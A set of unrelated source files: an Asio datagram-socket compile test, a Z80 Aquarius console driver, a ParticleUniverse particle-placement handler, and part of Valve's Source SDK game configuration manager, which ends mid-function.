const int af_inet = ASIO_OS_DEF(AF_INET);
const int ipproto_udp = ASIO_OS_DEF(IPPROTO_UDP);
const int sock_dgram = ASIO_OS_DEF(SOCK_DGRAM);
try
{
io_service ios;
char mutable_char_buffer[128] = "";
const char const_char_buffer[128] = "";
socket_base::message_flags in_flags = 0;
socket_base::send_buffer_size socket_option;
socket_base::bytes_readable io_control_command;
asio::error_code ec;
// basic_datagram_socket constructors.
dp::socket socket1(ios);
dp::socket socket2(ios, dp(af_inet, ipproto_udp));
dp::socket socket3(ios, dp::endpoint());
#if !defined(ASIO_WINDOWS_RUNTIME)
int native_socket1 = ::socket(af_inet, sock_dgram, 0);
dp::socket socket4(ios, dp(af_inet, ipproto_udp), native_socket1);
#endif // !defined(ASIO_WINDOWS_RUNTIME)
#if defined(ASIO_HAS_MOVE)
dp::socket socket5(std::move(socket4));
asio::ip::udp::socket udp_socket(ios);
dp::socket socket6(std::move(udp_socket));
#endif // defined(ASIO_HAS_MOVE)
// basic_datagram_socket operators.
#if defined(ASIO_HAS_MOVE)
socket1 = dp::socket(ios);
socket1 = std::move(socket2);
socket1 = asio::ip::udp::socket(ios);
#endif // defined(ASIO_HAS_MOVE)
// basic_io_object functions.
io_service& ios_ref = socket1.get_io_service();
(void)ios_ref;
// basic_socket functions.
dp::socket::lowest_layer_type& lowest_layer = socket1.lowest_layer();
(void)lowest_layer;
socket1.open(dp(af_inet, ipproto_udp));
socket1.open(dp(af_inet, ipproto_udp), ec);
#if !defined(ASIO_WINDOWS_RUNTIME)
int native_socket2 = ::socket(af_inet, sock_dgram, 0);
socket1.assign(dp(af_inet, ipproto_udp), native_socket2);
int native_socket3 = ::socket(af_inet, sock_dgram, 0);
socket1.assign(dp(af_inet, ipproto_udp), native_socket3, ec);
#endif // !defined(ASIO_WINDOWS_RUNTIME)
bool is_open = socket1.is_open();
(void)is_open;
socket1.close();
socket1.close(ec);
dp::socket::native_handle_type native_socket4 = socket1.native_handle();
(void)native_socket4;
socket1.cancel();
socket1.cancel(ec);
bool at_mark1 = socket1.at_mark();
(void)at_mark1;
bool at_mark2 = socket1.at_mark(ec);
(void)at_mark2;
std::size_t available1 = socket1.available();
(void)available1;
std::size_t available2 = socket1.available(ec);
(void)available2;
socket1.bind(dp::endpoint());
socket1.bind(dp::endpoint(), ec);
socket1.connect(dp::endpoint());
socket1.connect(dp::endpoint(), ec);
socket1.async_connect(dp::endpoint(), connect_handler);
socket1.set_option(socket_option);
socket1.set_option(socket_option, ec);
socket1.get_option(socket_option);
socket1.get_option(socket_option, ec);
socket1.io_control(io_control_command);
socket1.io_control(io_control_command, ec);
dp::endpoint endpoint1 = socket1.local_endpoint();
dp::endpoint endpoint2 = socket1.local_endpoint(ec);
dp::endpoint endpoint3 = socket1.remote_endpoint();
dp::endpoint endpoint4 = socket1.remote_endpoint(ec);
socket1.shutdown(socket_base::shutdown_both);
socket1.shutdown(socket_base::shutdown_both, ec);
// basic_datagram_socket functions.
socket1.send(buffer(mutable_char_buffer));
socket1.send(buffer(const_char_buffer));
socket1.send(null_buffers());
socket1.send(buffer(mutable_char_buffer), in_flags);
socket1.send(buffer(const_char_buffer), in_flags);
socket1.send(null_buffers(), in_flags);
socket1.send(buffer(mutable_char_buffer), in_flags, ec);
socket1.send(buffer(const_char_buffer), in_flags, ec);
socket1.send(null_buffers(), in_flags, ec);
socket1.async_send(buffer(mutable_char_buffer), send_handler);
socket1.async_send(buffer(const_char_buffer), send_handler);
socket1.async_send(null_buffers(), send_handler);
socket1.async_send(buffer(mutable_char_buffer), in_flags, send_handler);
socket1.async_send(buffer(const_char_buffer), in_flags, send_handler);
socket1.async_send(null_buffers(), in_flags, send_handler);
socket1.send_to(buffer(mutable_char_buffer),
dp::endpoint());
socket1.send_to(buffer(const_char_buffer),
dp::endpoint());
socket1.send_to(null_buffers(),
dp::endpoint());
socket1.send_to(buffer(mutable_char_buffer),
dp::endpoint(), in_flags);
socket1.send_to(buffer(const_char_buffer),
dp::endpoint(), in_flags);
socket1.send_to(null_buffers(),
dp::endpoint(), in_flags);
socket1.send_to(buffer(mutable_char_buffer),
dp::endpoint(), in_flags, ec);
socket1.send_to(buffer(const_char_buffer),
dp::endpoint(), in_flags, ec);
socket1.send_to(null_buffers(),
dp::endpoint(), in_flags, ec);
socket1.async_send_to(buffer(mutable_char_buffer),
dp::endpoint(), send_handler);
socket1.async_send_to(buffer(const_char_buffer),
dp::endpoint(), send_handler);
socket1.async_send_to(null_buffers(),
dp::endpoint(), send_handler);
socket1.async_send_to(buffer(mutable_char_buffer),
dp::endpoint(), in_flags, send_handler);
socket1.async_send_to(buffer(const_char_buffer),
dp::endpoint(), in_flags, send_handler);
socket1.async_send_to(null_buffers(),
dp::endpoint(), in_flags, send_handler);
socket1.receive(buffer(mutable_char_buffer));
socket1.receive(null_buffers());
socket1.receive(buffer(mutable_char_buffer), in_flags);
socket1.receive(null_buffers(), in_flags);
socket1.receive(buffer(mutable_char_buffer), in_flags, ec);
socket1.receive(null_buffers(), in_flags, ec);
socket1.async_receive(buffer(mutable_char_buffer), receive_handler);
socket1.async_receive(null_buffers(), receive_handler);
socket1.async_receive(buffer(mutable_char_buffer), in_flags,
receive_handler);
socket1.async_receive(null_buffers(), in_flags, receive_handler);
dp::endpoint endpoint;
socket1.receive_from(buffer(mutable_char_buffer), endpoint);
socket1.receive_from(null_buffers(), endpoint);
socket1.receive_from(buffer(mutable_char_buffer), endpoint, in_flags);
socket1.receive_from(null_buffers(), endpoint, in_flags);
socket1.receive_from(buffer(mutable_char_buffer), endpoint, in_flags, ec);
socket1.receive_from(null_buffers(), endpoint, in_flags, ec);
socket1.async_receive_from(buffer(mutable_char_buffer),
endpoint, receive_handler);
socket1.async_receive_from(null_buffers(),
endpoint, receive_handler);
socket1.async_receive_from(buffer(mutable_char_buffer),
endpoint, in_flags, receive_handler);
socket1.async_receive_from(null_buffers(),
endpoint, in_flags, receive_handler);
}
catch (std::exception&)
{
}
}
} // namespace generic_datagram_protocol_socket_compile
//------------------------------------------------------------------------------
ASIO_TEST_SUITE
(
"generic/datagram_protocol",
ASIO_TEST_CASE(generic_datagram_protocol_socket_compile::test)
)
|
;
;
; Aquarius colours
; 0 = black
; 1 = red
; 2 = green
; 3 = yellow
; 4 = blue
; 5 = violet
; 6 = cyan
; 7 = white
; 8 = light grey
; 9 = blue green
; 10 = magenta
; 11 = dark blue
; 12 = light yellow
; 13 = light green
; 14 = orange
; 15 = dark gray
SECTION code_clib
PUBLIC generic_console_cls
PUBLIC generic_console_vpeek
PUBLIC generic_console_scrollup
PUBLIC generic_console_printc
PUBLIC generic_console_ioctl
PUBLIC generic_console_set_ink
PUBLIC generic_console_set_paper
PUBLIC generic_console_set_inverse
EXTERN CONSOLE_COLUMNS
EXTERN CONSOLE_ROWS
EXTERN __aquarius_attr
defc DISPLAY = 12328
defc COLOUR_MAP = DISPLAY + 1024
generic_console_ioctl:
scf
generic_console_set_inverse:
ret
generic_console_set_ink:
and 15
rla
rla
rla
rla
ld e,a
ld a,(__aquarius_attr)
and @00001111
or e
ld (__aquarius_attr),a
ret
generic_console_set_paper:
and 15
ld e,a
ld a,(__aquarius_attr)
and @11110000
or e
ld (__aquarius_attr),a
ret
generic_console_cls:
ld hl, DISPLAY
ld de, DISPLAY +1
ld bc, +(CONSOLE_COLUMNS * CONSOLE_ROWS) - 1
ld (hl),32
ldir
ld hl, COLOUR_MAP
ld de, COLOUR_MAP+1
ld bc, +(CONSOLE_COLUMNS * CONSOLE_ROWS) - 1
ld a,(__aquarius_attr)
ld (hl),a
ldir
ret
; c = x
; b = y
; a = character to print
; e = raw
generic_console_printc:
call xypos
ld (hl),a
inc h
inc h
inc h
inc h
ld a,(__aquarius_attr)
ld (hl),a
ret
;Entry: c = x,
; b = y
;Exit: nc = success
; a = character,
; c = failure
generic_console_vpeek:
call xypos
ld a,(hl)
and a
ret
xypos:
ld hl,DISPLAY - CONSOLE_COLUMNS
ld de,CONSOLE_COLUMNS
inc b
generic_console_printc_1:
add hl,de
djnz generic_console_printc_1
generic_console_printc_3:
add hl,bc ;hl now points to address in display
ret
generic_console_scrollup:
push de
push bc
ld hl, DISPLAY + CONSOLE_COLUMNS
ld de, DISPLAY
ld bc,+ ((CONSOLE_COLUMNS) * (CONSOLE_ROWS-1))
ldir
ex de,hl
ld b,CONSOLE_COLUMNS
generic_console_scrollup_3:
ld (hl),32
inc hl
djnz generic_console_scrollup_3
ld hl, COLOUR_MAP + CONSOLE_COLUMNS
ld de, COLOUR_MAP
ld bc,+ ((CONSOLE_COLUMNS) * (CONSOLE_ROWS-1))
ldir
ex de,hl
ld b,CONSOLE_COLUMNS
ld a,(__aquarius_attr)
generic_console_scrollup_4:
ld (hl),a
inc hl
djnz generic_console_scrollup_4
pop bc
pop de
ret
|
/*
-----------------------------------------------------------------------------------------------
Copyright (C) 2013 Henry van Merode. All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-----------------------------------------------------------------------------------------------
*/
#include "ParticleUniversePCH.h"
#ifndef PARTICLE_UNIVERSE_EXPORTS
#define PARTICLE_UNIVERSE_EXPORTS
#endif
#include "ParticleEventHandlers/ParticleUniverseDoPlacementParticleEventHandler.h"
#include "ParticleUniversePhysicsActor.h"
namespace ParticleUniverse
{
// Constants
const unsigned int DoPlacementParticleEventHandler::DEFAULT_NUMBER_OF_PARTICLES = 1;
//-----------------------------------------------------------------------
DoPlacementParticleEventHandler::DoPlacementParticleEventHandler(void) :
ParticleEventHandler(),
TechniqueListener(),
mForceEmitterName(BLANK_STRING),
mNumberOfParticles(DEFAULT_NUMBER_OF_PARTICLES),
mFound(false),
mAlwaysUsePosition(true),
mEmitter(0),
mTechnique(0),
mInheritPosition(true),
mInheritDirection(false),
mInheritOrientation(false),
mInheritTimeToLive(false),
mInheritMass(false),
mInheritTextureCoordinate(false),
mInheritColour(false),
mInheritParticleWidth(false),
mInheritParticleHeight(false),
mInheritParticleDepth(false),
mBaseParticle(0)
{
}
//-----------------------------------------------------------------------
DoPlacementParticleEventHandler::~DoPlacementParticleEventHandler(void)
{
// We cannot remove this listener from mTechnique, because it is undetermined whether the ParticleTechnique
// still exist.
}
//-----------------------------------------------------------------------
void DoPlacementParticleEventHandler::_handle (ParticleTechnique* particleTechnique, Particle* particle, Real timeElapsed)
{
if (!particle)
return;
if (!mFound)
{
ParticleTechnique* technique = particleTechnique;
ParticleEmitter* emitter = particleTechnique->getEmitter(mForceEmitterName);
if (!emitter)
{
// Search all techniques in this ParticleSystem for an emitter with the correct name
ParticleSystem* system = particleTechnique->getParentSystem();
size_t size = system->getNumTechniques();
for(size_t i = 0; i < size; ++i)
{
technique = system->getTechnique(i);
emitter = technique->getEmitter(mForceEmitterName);
if (emitter)
break;
}
}
if (emitter)
{
mTechnique = technique;
mEmitter = emitter;
if (mTechnique)
{
mTechnique->addTechniqueListener(this);
}
mFound = true;
}
else
{
return;
}
}
// Emit 1 or more particles
if (mTechnique)
{
mBaseParticle = particle;
mTechnique->forceEmission(mEmitter, mNumberOfParticles);
}
mBaseParticle = 0;
}
//-----------------------------------------------------------------------
void DoPlacementParticleEventHandler::particleEmitted(ParticleTechnique* particleTechnique, Particle* particle)
{
if (!mBaseParticle)
return;
if (particle && mEmitter == particle->parentEmitter)
{
if (mInheritPosition)
{
#ifdef PU_PHYSICS
// Do not assume that the contact point is always used if a physics engine is used.
if (!mAlwaysUsePosition && particle->physicsActor)
{
particle->position = mBaseParticle->physicsActor->contactPoint; // Store the contact point to spawn new particles on that position.
}
else
{
particle->position = mBaseParticle->position; // Store the particles' position to spawn new particles on that position.
}
#else
particle->position = mBaseParticle->position; // Store the particles' position to spawn new particles on that position.
#endif // PU_PHYSICS
particle->originalPosition = particle->position;
}
if (mInheritDirection)
{
particle->direction = mBaseParticle->direction;
particle->originalDirection = particle->direction;
particle->originalDirectionLength = mBaseParticle->originalDirectionLength;
particle->originalScaledDirectionLength = mBaseParticle->originalScaledDirectionLength;
particle->originalVelocity = mBaseParticle->originalVelocity;
}
if (mInheritOrientation)
{
if (mBaseParticle->particleType == Particle::PT_VISUAL && particle->particleType == Particle::PT_VISUAL)
{
VisualParticle* visualBaseParticle = static_cast<VisualParticle*>(mBaseParticle);
VisualParticle* visualParticle = static_cast<VisualParticle*>(particle);
visualParticle->orientation = visualBaseParticle->orientation;
visualParticle->originalOrientation = visualBaseParticle->originalOrientation;
}
}
if (mInheritTimeToLive)
{
particle->timeToLive = mBaseParticle->timeToLive;
particle->totalTimeToLive = mBaseParticle->totalTimeToLive;
particle->timeFraction = mBaseParticle->timeFraction;
}
if (mInheritMass)
{
particle->mass = mBaseParticle->mass;
}
if (mInheritTextureCoordinate)
{
if (mBaseParticle->particleType == Particle::PT_VISUAL && particle->particleType == Particle::PT_VISUAL)
{
VisualParticle* visualBaseParticle = static_cast<VisualParticle*>(mBaseParticle);
VisualParticle* visualParticle = static_cast<VisualParticle*>(particle);
visualParticle->textureAnimationTimeStep = visualBaseParticle->textureAnimationTimeStep;
visualParticle->textureAnimationTimeStepCount = visualBaseParticle->textureAnimationTimeStepCount;
visualParticle->textureCoordsCurrent = visualBaseParticle->textureCoordsCurrent;
visualParticle->textureAnimationDirectionUp = visualBaseParticle->textureAnimationDirectionUp;
}
}
if (mInheritColour)
{
if (mBaseParticle->particleType == Particle::PT_VISUAL && particle->particleType == Particle::PT_VISUAL)
{
VisualParticle* visualBaseParticle = static_cast<VisualParticle*>(mBaseParticle);
VisualParticle* visualParticle = static_cast<VisualParticle*>(particle);
visualParticle->colour = visualBaseParticle->colour;
visualParticle->originalColour = visualBaseParticle->originalColour;
}
}
if (mInheritParticleWidth)
{
if (mBaseParticle->particleType == Particle::PT_VISUAL && particle->particleType == Particle::PT_VISUAL)
{
VisualParticle* visualBaseParticle = static_cast<VisualParticle*>(mBaseParticle);
VisualParticle* visualParticle = static_cast<VisualParticle*>(particle);
visualParticle->setOwnDimensions(visualBaseParticle->width, visualParticle->height, visualParticle->depth);
}
}
if (mInheritParticleHeight)
{
if (mBaseParticle->particleType == Particle::PT_VISUAL && particle->particleType == Particle::PT_VISUAL)
{
VisualParticle* visualBaseParticle = static_cast<VisualParticle*>(mBaseParticle);
VisualParticle* visualParticle = static_cast<VisualParticle*>(particle);
visualParticle->setOwnDimensions(visualParticle->width, visualBaseParticle->height, visualParticle->depth);
}
}
if (mInheritParticleDepth)
{
if (mBaseParticle->particleType == Particle::PT_VISUAL && particle->particleType == Particle::PT_VISUAL)
{
VisualParticle* visualBaseParticle = static_cast<VisualParticle*>(mBaseParticle);
VisualParticle* visualParticle = static_cast<VisualParticle*>(particle);
visualParticle->setOwnDimensions(visualParticle->width, visualParticle->height, visualBaseParticle->depth);
}
}
}
}
//-----------------------------------------------------------------------
void DoPlacementParticleEventHandler::setForceEmitterName(const String& forceEmitterName)
{
mForceEmitterName = forceEmitterName;
}
//-----------------------------------------------------------------------
ParticleEmitter* DoPlacementParticleEventHandler::getForceEmitter(void) const
{
return mEmitter;
}
//-----------------------------------------------------------------------
void DoPlacementParticleEventHandler::removeAsListener(void)
{
// Reset some values and remove this as a listener from the old technique.
if (mTechnique)
{
mTechnique->removeTechniqueListener(this);
}
mFound = false;
mEmitter = 0;
mTechnique = 0;
}
//-----------------------------------------------------------------------
void DoPlacementParticleEventHandler::copyAttributesTo (ParticleEventHandler* eventHandler)
{
ParticleEventHandler::copyAttributesTo(eventHandler);
DoPlacementParticleEventHandler* doPlacementParticleEventHandler = static_cast<DoPlacementParticleEventHandler*>(eventHandler);
doPlacementParticleEventHandler->setForceEmitterName(mForceEmitterName);
doPlacementParticleEventHandler->setNumberOfParticles(mNumberOfParticles);
doPlacementParticleEventHandler->mAlwaysUsePosition = mAlwaysUsePosition;
doPlacementParticleEventHandler->mInheritPosition = mInheritPosition;
doPlacementParticleEventHandler->mInheritDirection = mInheritDirection;
doPlacementParticleEventHandler->mInheritOrientation = mInheritOrientation;
doPlacementParticleEventHandler->mInheritTimeToLive = mInheritTimeToLive;
doPlacementParticleEventHandler->mInheritMass = mInheritMass;
doPlacementParticleEventHandler->mInheritTextureCoordinate = mInheritTextureCoordinate;
doPlacementParticleEventHandler->mInheritColour = mInheritColour;
doPlacementParticleEventHandler->mInheritParticleWidth = mInheritParticleWidth;
doPlacementParticleEventHandler->mInheritParticleHeight = mInheritParticleHeight;
doPlacementParticleEventHandler->mInheritParticleDepth = mInheritParticleDepth;
}
}
|
//========= Copyright Valve Corporation, All rights reserved. ============//
//
// Purpose:
//
//=============================================================================//
#include <windows.h>
#include "interface.h"
#include "tier0/icommandline.h"
#include "filesystem_tools.h"
#include "KeyValues.h"
#include "tier1/utlbuffer.h"
#include <io.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include "ConfigManager.h"
#include "SourceAppInfo.h"
#include "steam/steam_api.h"
extern CSteamAPIContext *steamapicontext;
// memdbgon must be the last include file in a .cpp file!!!
#include <tier0/memdbgon.h>
#define GAME_CONFIG_FILENAME "GameConfig.txt"
#define TOKEN_SDK_VERSION "SDKVersion"
// Version history:
// 0 - Initial release
// 1 - Versioning added, DoD configuration added
// 2 - Ep1 added
// 3 - Ep2, TF2, and Portal added
// 4 - TF2 moved to its own engine
#define SDK_LAUNCHER_VERSION 5
// Half-Life 2
defaultConfigInfo_t HL2Info =
{
"Half-Life 2",
"hl2",
"halflife2.fgd",
"info_player_start",
"hl2.exe",
GetAppSteamAppId( k_App_HL2 )
};
// Counter-Strike: Source
defaultConfigInfo_t CStrikeInfo =
{
"Counter-Strike: Source",
"cstrike",
"cstrike.fgd",
"info_player_terrorist",
"hl2.exe",
GetAppSteamAppId( k_App_CSS )
};
//Half-Life 2: Deathmatch
defaultConfigInfo_t HL2DMInfo =
{
"Half-Life 2: Deathmatch",
"hl2mp",
"hl2mp.fgd",
"info_player_deathmatch",
"hl2.exe",
GetAppSteamAppId( k_App_HL2MP )
};
// Day of Defeat: Source
defaultConfigInfo_t DODInfo =
{
"Day of Defeat: Source",
"dod",
"dod.fgd",
"info_player_allies",
"hl2.exe",
GetAppSteamAppId( k_App_DODS )
};
// Half-Life 2 Episode 1
defaultConfigInfo_t Episode1Info =
{
"Half-Life 2: Episode One",
"episodic",
"halflife2.fgd",
"info_player_start",
"hl2.exe",
GetAppSteamAppId( k_App_HL2_EP1 )
};
// Half-Life 2 Episode 2
defaultConfigInfo_t Episode2Info =
{
"Half-Life 2: Episode Two",
"ep2",
"halflife2.fgd",
"info_player_start",
"hl2.exe",
GetAppSteamAppId( k_App_HL2_EP2 )
};
// Team Fortress 2
defaultConfigInfo_t TF2Info =
{
"Team Fortress 2",
"tf",
"tf.fgd",
"info_player_teamspawn",
"hl2.exe",
GetAppSteamAppId( k_App_TF2 )
};
// Portal
defaultConfigInfo_t PortalInfo =
{
"Portal",
"portal",
"portal.fgd",
"info_player_start",
"hl2.exe",
GetAppSteamAppId( k_App_PORTAL )
};
// Portal
defaultConfigInfo_t SourceTestInfo =
{
"SourceTest",
"sourcetest",
"halflife2.fgd",
"info_player_start",
"hl2.exe",
243730
};
//-----------------------------------------------------------------------------
// Constructor
//-----------------------------------------------------------------------------
CGameConfigManager::CGameConfigManager( void ) : m_pData( NULL ), m_LoadStatus( LOADSTATUS_NONE )
{
// Start with default directory
GetModuleFileName( ( HINSTANCE )GetModuleHandle( NULL ), m_szBaseDirectory, sizeof( m_szBaseDirectory ) );
Q_StripLastDir( m_szBaseDirectory, sizeof( m_szBaseDirectory ) ); // Get rid of the filename.
Q_StripTrailingSlash( m_szBaseDirectory );
m_eSDKEpoch = (eSDKEpochs) SDK_LAUNCHER_VERSION;
}
//-----------------------------------------------------------------------------
// Destructor
//-----------------------------------------------------------------------------
CGameConfigManager::~CGameConfigManager( void )
{
// Release the keyvalues
if ( m_pData != NULL )
{
m_pData->deleteThis();
}
}
//-----------------------------------------------------------------------------
// Purpose: Config loading interface
// Input : *baseDir - base directory for our file
// Output : Returns true on success, false on failure.
//-----------------------------------------------------------------------------
bool CGameConfigManager::LoadConfigs( const char *baseDir )
{
return LoadConfigsInternal( baseDir, false );
}
//-----------------------------------------------------------------------------
// Purpose: Loads a file into the given utlbuffer.
// Output : Returns true on success, false on failure.
//-----------------------------------------------------------------------------
bool ReadUtlBufferFromFile( CUtlBuffer &buffer, const char *szPath )
{
struct _stat fileInfo;
if ( _stat( szPath, &fileInfo ) == -1 )
{
return false;
}
buffer.EnsureCapacity( fileInfo.st_size );
int nFile = _open( szPath, _O_BINARY | _O_RDONLY );
if ( nFile == -1 )
{
return false;
}
if ( _read( nFile, buffer.Base(), fileInfo.st_size ) != fileInfo.st_size )
{
_close( nFile );
return false;
}
_close( nFile );
buffer.SeekPut( CUtlBuffer::SEEK_HEAD, fileInfo.st_size );
return true;
}
//-----------------------------------------------------------------------------
// Purpose: Loads a file into the given utlbuffer.
// Output : Returns true on success, false on failure.
//-----------------------------------------------------------------------------
bool SaveUtlBufferToFile( CUtlBuffer &buffer, const char *szPath )
{
int nFile = _open( szPath, _O_TEXT | _O_CREAT | _O_TRUNC | _O_RDWR, _S_IWRITE );
if ( nFile == -1 )
{
return false;
}
int nSize = buffer.TellMaxPut();
if ( _write( nFile, buffer.Base(), nSize ) < nSize )
{
_close( nFile );
return false;
}
_close( nFile );
return true;
}
//-----------------------------------------------------------------------------
// Purpose: Load a game configuration file (with fail-safes)
// Output : Returns true on success, false on failure.
//-----------------------------------------------------------------------------
bool CGameConfigManager::LoadConfigsInternal( const char *baseDir, bool bRecursiveCall )
{
// Init the config if it doesn't exist
if ( !IsLoaded() )
{
m_pData = new KeyValues( GAME_CONFIG_FILENAME );
if ( !IsLoaded() )
{
m_LoadStatus = LOADSTATUS_ERROR;
return false;
}
}
// Clear it out
m_pData->Clear();
// Build our default directory
if ( baseDir != NULL && baseDir[0] != NULL )
{
SetBaseDirectory( baseDir );
}
// Make a full path name
char szPath[MAX_PATH];
Q_snprintf( szPath, sizeof( szPath ), "%s\\%s", GetBaseDirectory(), GAME_CONFIG_FILENAME );
bool bLoaded = false;
CUtlBuffer buffer( 0, 0, CUtlBuffer::TEXT_BUFFER );
if ( ReadUtlBufferFromFile( buffer, szPath ) )
{
bLoaded = m_pData->LoadFromBuffer( szPath, buffer, NULL, NULL );
}
if ( !bLoaded )
{
// Attempt to re-create the configs
if ( CreateAllDefaultConfigs() )
{
// Only allow this once
if ( !bRecursiveCall )
return LoadConfigsInternal( baseDir, true );
// Version the config.
VersionConfig();
}
m_LoadStatus = LOADSTATUS_ERROR;
return false;
}
else
{
// Check to see if the gameconfig.txt is up to date.
UpdateConfigsInternal();
}
return true;
}
//-----------------------------------------------------------------------------
// Purpose: Add to the current config.
//-----------------------------------------------------------------------------
void CGameConfigManager::UpdateConfigsInternal( void )
{
// Check to a valid gameconfig.txt file buffer.
if ( !IsLoaded() )
return;
// Check for version first. If the version is up to date, it is assumed to be accurate
if ( IsConfigCurrent() )
return;
KeyValues *pGameBlock = GetGameBlock();
if ( !pGameBlock )
{
// If we don't have a game block, reset the config file.
ResetConfigs();
return;
}
KeyValues *pDefaultBlock = new KeyValues( "DefaultConfigs" );
if ( pDefaultBlock != NULL )
{
// Compile our default configurations
GetDefaultGameBlock( pDefaultBlock );
// Compare our default block to our current configs
KeyValues *pNextSubKey = pDefaultBlock->GetFirstTrueSubKey();
while ( pNextSubKey != NULL )
{
// If we already have the name, we don't care about it
if ( pGameBlock->FindKey( pNextSubKey->GetName() ) )
{
// Advance by one key
pNextSubKey = pNextSubKey->GetNextTrueSubKey();
continue;
}
// Copy the data through to our game block
KeyValues *pKeyCopy = pNextSubKey->MakeCopy();
pGameBlock->AddSubKey( pKeyCopy );
// Advance by one key
pNextSubKey = pNextSubKey->GetNextTrueSubKey();
}
// All done
pDefaultBlock->deleteThis();
}
// Save the new config.
SaveConfigs();
// Add the new version as we have been updated.
VersionConfig();
}
//-----------------------------------------------------------------------------
// Purpose: Update the gameconfig.txt version number.
//-----------------------------------------------------------------------------
void CGameConfigManager::VersionConfig( void )
{
// Check to a valid gameconfig.txt file buffer.
if ( !IsLoaded() )
return;
// Look for the a version key value pair and update it.
KeyValues *pKeyVersion = m_pData->FindKey( TOKEN_SDK_VERSION );
// Update the already existing version key value pair.
if ( pKeyVersion )
{
if ( pKeyVersion->GetInt() == m_eSDKEpoch )
return;
m_pData->SetInt( TOKEN_SDK_VERSION, m_eSDKEpoch );
}
// Create a new version key value pair.
else
{
m_pData->SetInt( TOKEN_SDK_VERSION, m_eSDKEpoch );
}
// Save the configuration.
SaveConfigs();
}
//-----------------------------------------------------------------------------
// Purpose: Check to see if the version of the gameconfig.txt is up to date.
//-----------------------------------------------------------------------------
bool CGameConfigManager::IsConfigCurrent( void )
{
// Check to a valid gameconfig.txt file buffer.
if ( !IsLoaded() )
return false;
KeyValues *pKeyValue = m_pData->FindKey( TOKEN_SDK_VERSION );
if ( !pKeyValue )
return false;
int nVersion = pKeyValue->GetInt();
if ( nVersion == m_eSDKEpoch )
return true;
return false;
}
//-----------------------------------------------------------------------------
// Purpose: Get the base path for a default config's install (handling steam's paths)
//-----------------------------------------------------------------------------
void CGameConfigManager::GetRootGameDirectory( char *out, size_t outLen, const char *rootDir )
{
Q_strncpy( out, rootDir, outLen );
}
//-----------------------------------------------------------------------------
// Purpose: Get the base path for a default config's content sources (handling steam's paths)
//-----------------------------------------------------------------------------
void CGameConfigManager::GetRootContentDirectory( char *out, size_t outLen, const char *rootDir )
{
// Steam install is different
if ( g_pFullFileSystem )
{
Q_snprintf( out, outLen, "%s\\sourcesdk_content", rootDir );
}
else
{
Q_snprintf( out, outLen, "%s\\content", rootDir );
}
}
// Default game configuration template
const char szDefaultConfigText[] =
"\"%gamename%\"\
{\
\"GameDir\" \"%gamedir%\"\
\"Hammer\"\
{\
\"TextureFormat\" \"5\"\
\"MapFormat\" \"4\"\
\"DefaultTextureScale\" \"0.250000\"\
\"DefaultLightmapScale\" \"16\"\
\"DefaultSolidEntity\" \"func_detail\"\
\"DefaultPointEntity\" \"%defaultpointentity%\"\
\"GameExeDir\" \"%gameexe%\"\
\"MapDir\" \"%gamemaps%\"\
\"CordonTexture\" \"tools\\toolsskybox\"\
\"MaterialExcludeCount\" \"0\"\
\"GameExe\" \"%gameEXE%\"\
\"BSP\" \"%bspdir%\"\
\"Vis\" \"%visdir%\"\
\"Light\" \"%lightdir%\"\
}}";
// NOTE: This function could use some re-write, it can't handle non-retail paths well
//-----------------------------------------------------------------------------
// Purpose: Add a templated default configuration with proper paths
// Output : Returns true on success, false on failure.
//-----------------------------------------------------------------------------
bool CGameConfigManager::AddDefaultConfig( const defaultConfigInfo_t &info, KeyValues *out, const char *rootDirectory, const char *gameExeDir )
{
// NOTE: Freed by head keyvalue
KeyValues *newConfig = new KeyValues( info.gameName );
if ( newConfig->LoadFromBuffer( "defaultcfg.txt", szDefaultConfigText ) == false )
return false;
newConfig->SetName( info.gameName );
// Game's root directory (with special steam name handling)
char rootGameDir[MAX_PATH];
GetRootGameDirectory( rootGameDir, sizeof( rootGameDir ), rootDirectory );
// Game's content directory
char contentRootDir[MAX_PATH];
GetRootContentDirectory( contentRootDir, sizeof( contentRootDir ), rootDirectory );
char szPath[MAX_PATH];
// Game directory
Q_snprintf( szPath, sizeof( szPath ), "%s\\%s", rootGameDir, info.gameDir );
if ( !g_pFullFileSystem->IsDirectory( szPath ) )
return false;
newConfig->SetString( "GameDir", szPath );
// Create the Hammer portion of this block
KeyValues *hammerBlock = newConfig->FindKey( "Hammer" );
if ( hammerBlock == NULL )
return false;
hammerBlock->SetString( "GameExeDir", gameExeDir );
// Fill in the proper default point entity
hammerBlock->SetString( "DefaultPointEntity", info.defaultPointEntity );
// Fill in the default VMF directory
char contentMapDir[MAX_PATH];
Q_snprintf( contentMapDir, sizeof( contentMapDir ), "%s\\%s\\mapsrc", contentRootDir, info.gameDir );
hammerBlock->SetString( "MapDir", contentMapDir );
Q_snprintf( szPath, sizeof( szPath ), "%s\\%s\\maps", rootGameDir, info.gameDir );
hammerBlock->SetString( "BSPDir", szPath );
// Fill in the game executable
Q_snprintf( szPath, sizeof( szPath ), "%s\\%s", gameExeDir, info.exeName );
hammerBlock->SetString( "GameEXE", szPath );
//Fill in game FGDs
if ( info.FGD[0] != '\0' )
{
Q_snprintf( szPath, sizeof( szPath ), "%s\\%s", GetBaseDirectory(), info.FGD );
hammerBlock->SetString( "GameData0", szPath );
}
// Fill in the tools path
Q_snprintf( szPath, sizeof( szPath ), "%s\\vbsp.exe", GetBaseDirectory() );
hammerBlock->SetString( "BSP", szPath );
Q_snprintf( szPath, sizeof( szPath ), "%s\\vvis.exe", GetBaseDirectory() );
hammerBlock->SetString( "Vis", szPath );
